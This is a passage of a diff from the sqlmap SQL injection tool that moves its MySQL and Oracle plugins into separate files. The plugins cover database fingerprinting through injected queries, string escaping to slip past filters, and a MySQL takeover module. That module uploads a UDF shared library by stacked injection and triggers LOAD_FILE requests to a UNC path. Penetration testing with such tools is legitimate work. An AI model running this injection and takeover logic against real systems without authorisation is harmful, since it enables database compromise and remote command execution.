kb.data.has_information_schema = True
|
||||||
|
kb.dbmsVersion = [">= 5.0.0"]
|
||||||
|
|
||||||
|
setDbms("MySQL 5")
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Check if it is MySQL >= 5.5.0
|
||||||
|
if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6":
|
||||||
|
kb.dbmsVersion = [">= 5.5.0"]
|
||||||
|
|
||||||
|
# Check if it is MySQL >= 5.1.2 and < 5.5.0
|
||||||
|
elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
|
||||||
|
if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||||
|
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
|
||||||
|
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||||
|
kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
|
||||||
|
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||||
|
kb.dbmsVersion = ["= 5.1.6"]
|
||||||
|
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||||
|
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
|
||||||
|
else:
|
||||||
|
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
||||||
|
|
||||||
|
# Check if it is MySQL >= 5.0.0 and < 5.1.2
|
||||||
|
elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
|
||||||
|
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
||||||
|
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
|
||||||
|
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
||||||
|
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
||||||
|
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
|
||||||
|
else:
|
||||||
|
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
|
||||||
|
|
||||||
|
# Otherwise assume it is MySQL < 5.0.0
|
||||||
|
else:
|
||||||
|
kb.dbmsVersion = ["< 5.0.0"]
|
||||||
|
|
||||||
|
setDbms("MySQL 4")
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Check which version of MySQL < 5.0.0 it is
|
||||||
|
coercibility = inject.getValue("COERCIBILITY(USER())")
|
||||||
|
|
||||||
|
if coercibility == "3":
|
||||||
|
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
|
||||||
|
elif coercibility == "2":
|
||||||
|
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
|
||||||
|
elif inject.getValue("CURRENT_USER()"):
|
||||||
|
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
|
||||||
|
|
||||||
|
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
|
||||||
|
kb.dbmsVersion = ["= 4.1.0"]
|
||||||
|
else:
|
||||||
|
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
|
||||||
|
elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
|
||||||
|
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
|
||||||
|
elif inject.getValue("CONNECTION_ID()"):
|
||||||
|
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
|
||||||
|
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
|
||||||
|
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
|
||||||
|
else:
|
||||||
|
kb.dbmsVersion = ["< 3.22.11"]
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DMBS is not MySQL"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def checkDbmsOs(self, detailed=False):
|
||||||
|
if kb.os:
|
||||||
|
return
|
||||||
|
|
||||||
|
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
||||||
|
|
||||||
|
if datadirSubstr == "/":
|
||||||
|
kb.os = "Linux"
|
||||||
|
else:
|
||||||
|
kb.os = "Windows"
|
||||||
|
|
||||||
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.cleanup(onlyFileTbl=True)
|
87
plugins/dbms/mysql/syntax.py
Normal file
87
plugins/dbms/mysql/syntax.py
Normal file
|
@ -0,0 +1,87 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
def __init__(self):
|
||||||
|
GenericSyntax.__init__(self)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def unescape(expression, quote=True):
|
||||||
|
if quote:
|
||||||
|
while True:
|
||||||
|
index = expression.find("'")
|
||||||
|
if index == -1:
|
||||||
|
break
|
||||||
|
|
||||||
|
firstIndex = index + 1
|
||||||
|
index = expression[firstIndex:].find("'")
|
||||||
|
|
||||||
|
if index == -1:
|
||||||
|
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
||||||
|
|
||||||
|
lastIndex = firstIndex + index
|
||||||
|
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||||
|
unescaped = ""
|
||||||
|
|
||||||
|
for i in range(firstIndex, lastIndex):
|
||||||
|
unescaped += "%d" % (ord(expression[i]))
|
||||||
|
if i < lastIndex - 1:
|
||||||
|
unescaped += ","
|
||||||
|
|
||||||
|
expression = expression.replace(old, "CHAR(%s)" % unescaped)
|
||||||
|
else:
|
||||||
|
unescaped = "CHAR("
|
||||||
|
unescaped += ",".join("%d" % ord(c) for c in expression)
|
||||||
|
unescaped += ")"
|
||||||
|
|
||||||
|
expression = unescaped
|
||||||
|
|
||||||
|
return expression
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression):
|
||||||
|
while True:
|
||||||
|
index = expression.find("CHAR(")
|
||||||
|
if index == -1:
|
||||||
|
break
|
||||||
|
|
||||||
|
firstIndex = index
|
||||||
|
index = expression[firstIndex:].find(")")
|
||||||
|
|
||||||
|
if index == -1:
|
||||||
|
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
||||||
|
|
||||||
|
lastIndex = firstIndex + index + 1
|
||||||
|
old = expression[firstIndex:lastIndex]
|
||||||
|
oldUpper = old.upper()
|
||||||
|
oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
|
||||||
|
oldUpper = oldUpper.split(",")
|
||||||
|
|
||||||
|
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
||||||
|
expression = expression.replace(old, escaped)
|
||||||
|
|
||||||
|
return expression
|
130
plugins/dbms/mysql/takeover.py
Normal file
130
plugins/dbms/mysql/takeover.py
Normal file
|
@ -0,0 +1,130 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import normalizePath
|
||||||
|
from lib.core.common import ntToPosixSlashes
|
||||||
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import paths
|
||||||
|
from lib.request import inject
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def __init__(self):
|
||||||
|
self.__basedir = None
|
||||||
|
self.__datadir = None
|
||||||
|
|
||||||
|
GenericTakeover.__init__(self)
|
||||||
|
|
||||||
|
def udfSetRemotePath(self):
|
||||||
|
self.getVersionFromBanner()
|
||||||
|
|
||||||
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
|
|
||||||
|
# On Windows
|
||||||
|
if kb.os == "Windows":
|
||||||
|
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||||
|
if banVer >= "5.1.19":
|
||||||
|
if self.__basedir is None:
|
||||||
|
logger.info("retrieving MySQL base directory absolute path")
|
||||||
|
|
||||||
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||||
|
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||||
|
self.__basedir = normalizePath(ntToPosixSlashes(self.__basedir))
|
||||||
|
|
||||||
|
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||||
|
kb.os = "Windows"
|
||||||
|
|
||||||
|
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||||
|
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||||
|
|
||||||
|
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||||
|
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||||
|
else:
|
||||||
|
#logger.debug("retrieving MySQL data directory absolute path")
|
||||||
|
|
||||||
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||||
|
#self.__datadir = inject.getValue("SELECT @@datadir")
|
||||||
|
|
||||||
|
# NOTE: specifying the relative path as './udf.dll'
|
||||||
|
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||||
|
self.__datadir = "."
|
||||||
|
self.__datadir = normalizePath(ntToPosixSlashes(self.__datadir))
|
||||||
|
|
||||||
|
if re.search("[\w]\:\/", self.__datadir, re.I):
|
||||||
|
kb.os = "Windows"
|
||||||
|
|
||||||
|
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||||
|
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||||
|
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
# On Linux
|
||||||
|
else:
|
||||||
|
# The SO can be in either /lib, /usr/lib or one of the
|
||||||
|
# paths specified in /etc/ld.so.conf file, none of these
|
||||||
|
# paths are writable by mysql user by default
|
||||||
|
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
def udfSetLocalPaths(self):
|
||||||
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||||
|
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
|
||||||
|
|
||||||
|
if kb.os == "Windows":
|
||||||
|
self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll"
|
||||||
|
self.udfSharedLibExt = "dll"
|
||||||
|
else:
|
||||||
|
self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so"
|
||||||
|
self.udfSharedLibExt = "so"
|
||||||
|
|
||||||
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||||
|
if udf in self.udfToCreate:
|
||||||
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||||
|
|
||||||
|
ret = inpRet["return"]
|
||||||
|
|
||||||
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||||
|
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||||
|
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
||||||
|
|
||||||
|
self.createdUdf.add(udf)
|
||||||
|
else:
|
||||||
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||||
|
|
||||||
|
def uncPathRequest(self):
|
||||||
|
if not kb.stackedTest:
|
||||||
|
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
||||||
|
query = agent.postfixQuery(query)
|
||||||
|
payload = agent.payload(newValue=query)
|
||||||
|
|
||||||
|
Request.queryPage(payload)
|
||||||
|
else:
|
||||||
|
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
|
50
plugins/dbms/oracle/__init__.py
Normal file
50
plugins/dbms/oracle/__init__.py
Normal file
|
@ -0,0 +1,50 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.oracle.enumeration import Enumeration
|
||||||
|
from plugins.dbms.oracle.filesystem import Filesystem
|
||||||
|
from plugins.dbms.oracle.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.oracle.syntax import Syntax
|
||||||
|
from plugins.dbms.oracle.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines Oracle methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = ORACLE_SYSTEM_DBS
|
||||||
|
|
||||||
|
Syntax.__init__(self)
|
||||||
|
Fingerprint.__init__(self)
|
||||||
|
Enumeration.__init__(self)
|
||||||
|
Filesystem.__init__(self)
|
||||||
|
Miscellaneous.__init__(self)
|
||||||
|
Takeover.__init__(self)
|
||||||
|
|
||||||
|
unescaper.setUnescape(OracleMap.unescape)
|
37
plugins/dbms/oracle/enumeration.py
Normal file
37
plugins/dbms/oracle/enumeration.py
Normal file
|
@ -0,0 +1,37 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def __init__(self):
|
||||||
|
GenericEnumeration.__init__(self, "Oracle")
|
||||||
|
|
||||||
|
def getDbs(self):
|
||||||
|
warnMsg = "on Oracle it is not possible to enumerate databases"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
41
plugins/dbms/oracle/filesystem.py
Normal file
41
plugins/dbms/oracle/filesystem.py
Normal file
|
@ -0,0 +1,41 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFilesystem.__init__(self)
|
||||||
|
|
||||||
|
def readFile(self, rFile):
|
||||||
|
errMsg = "File system read access not yet implemented for "
|
||||||
|
errMsg += "Oracle"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||||
|
errMsg = "File system write access not yet implemented for "
|
||||||
|
errMsg += "Oracle"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
@ -31,89 +31,16 @@ from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
|
||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
|
||||||
from lib.core.unescaper import unescaper
|
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
from plugins.generic.filesystem import Filesystem
|
|
||||||
from plugins.generic.fingerprint import Fingerprint
|
|
||||||
from plugins.generic.misc import Miscellaneous
|
|
||||||
from plugins.generic.takeover import Takeover
|
|
||||||
|
|
||||||
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|
||||||
"""
|
|
||||||
This class defines Oracle methods
|
|
||||||
"""
|
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.excludeDbsList = ORACLE_SYSTEM_DBS
|
GenericFingerprint.__init__(self)
|
||||||
|
|
||||||
Enumeration.__init__(self, "Oracle")
|
|
||||||
Filesystem.__init__(self)
|
|
||||||
Takeover.__init__(self)
|
|
||||||
|
|
||||||
unescaper.setUnescape(OracleMap.unescape)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def unescape(expression, quote=True):
|
|
||||||
if quote:
|
|
||||||
while True:
|
|
||||||
index = expression.find("'")
|
|
||||||
if index == -1:
|
|
||||||
break
|
|
||||||
|
|
||||||
firstIndex = index + 1
|
|
||||||
index = expression[firstIndex:].find("'")
|
|
||||||
|
|
||||||
if index == -1:
|
|
||||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
|
||||||
|
|
||||||
lastIndex = firstIndex + index
|
|
||||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
|
||||||
#unescaped = "("
|
|
||||||
unescaped = ""
|
|
||||||
|
|
||||||
for i in range(firstIndex, lastIndex):
|
|
||||||
unescaped += "CHR(%d)" % (ord(expression[i]))
|
|
||||||
if i < lastIndex - 1:
|
|
||||||
unescaped += "||"
|
|
||||||
|
|
||||||
#unescaped += ")"
|
|
||||||
expression = expression.replace(old, unescaped)
|
|
||||||
else:
|
|
||||||
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
|
|
||||||
|
|
||||||
return expression
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def escape(expression):
|
|
||||||
while True:
|
|
||||||
index = expression.find("CHR(")
|
|
||||||
if index == -1:
|
|
||||||
break
|
|
||||||
|
|
||||||
firstIndex = index
|
|
||||||
index = expression[firstIndex:].find("))")
|
|
||||||
|
|
||||||
if index == -1:
|
|
||||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
|
||||||
|
|
||||||
lastIndex = firstIndex + index + 1
|
|
||||||
old = expression[firstIndex:lastIndex]
|
|
||||||
oldUpper = old.upper()
|
|
||||||
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
|
|
||||||
oldUpper = oldUpper.split("||")
|
|
||||||
|
|
||||||
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
|
||||||
expression = expression.replace(old, escaped)
|
|
||||||
|
|
||||||
return expression
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
|
@ -218,39 +145,3 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
if conf.tbl:
|
if conf.tbl:
|
||||||
conf.tbl = conf.tbl.upper()
|
conf.tbl = conf.tbl.upper()
|
||||||
|
|
||||||
def getDbs(self):
|
|
||||||
warnMsg = "on Oracle it is not possible to enumerate databases"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return []
|
|
||||||
|
|
||||||
def readFile(self, rFile):
|
|
||||||
errMsg = "File system read access not yet implemented for "
|
|
||||||
errMsg += "Oracle"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
|
||||||
errMsg = "File system write access not yet implemented for "
|
|
||||||
errMsg += "Oracle"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
def osCmd(self):
|
|
||||||
errMsg = "Operating system command execution functionality not "
|
|
||||||
errMsg += "yet implemented for Oracle"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
def osShell(self):
|
|
||||||
errMsg = "Operating system shell functionality not yet "
|
|
||||||
errMsg += "implemented for Oracle"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
def osPwn(self):
|
|
||||||
errMsg = "Operating system out-of-band control functionality "
|
|
||||||
errMsg += "not yet implemented for Oracle"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
def osSmb(self):
|
|
||||||
errMsg = "One click operating system out-of-band control "
|
|
||||||
errMsg += "functionality not yet implemented for Oracle"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
85
plugins/dbms/oracle/syntax.py
Normal file
85
plugins/dbms/oracle/syntax.py
Normal file
|
@ -0,0 +1,85 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
def __init__(self):
|
||||||
|
GenericSyntax.__init__(self)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def unescape(expression, quote=True):
|
||||||
|
if quote:
|
||||||
|
while True:
|
||||||
|
index = expression.find("'")
|
||||||
|
if index == -1:
|
||||||
|
break
|
||||||
|
|
||||||
|
firstIndex = index + 1
|
||||||
|
index = expression[firstIndex:].find("'")
|
||||||
|
|
||||||
|
if index == -1:
|
||||||
|
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
||||||
|
|
||||||
|
lastIndex = firstIndex + index
|
||||||
|
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||||
|
#unescaped = "("
|
||||||
|
unescaped = ""
|
||||||
|
|
||||||
|
for i in range(firstIndex, lastIndex):
|
||||||
|
unescaped += "CHR(%d)" % (ord(expression[i]))
|
||||||
|
if i < lastIndex - 1:
|
||||||
|
unescaped += "||"
|
||||||
|
|
||||||
|
#unescaped += ")"
|
||||||
|
expression = expression.replace(old, unescaped)
|
||||||
|
else:
|
||||||
|
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
|
||||||
|
|
||||||
|
return expression
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression):
|
||||||
|
while True:
|
||||||
|
index = expression.find("CHR(")
|
||||||
|
if index == -1:
|
||||||
|
break
|
||||||
|
|
||||||
|
firstIndex = index
|
||||||
|
index = expression[firstIndex:].find("))")
|
||||||
|
|
||||||
|
if index == -1:
|
||||||
|
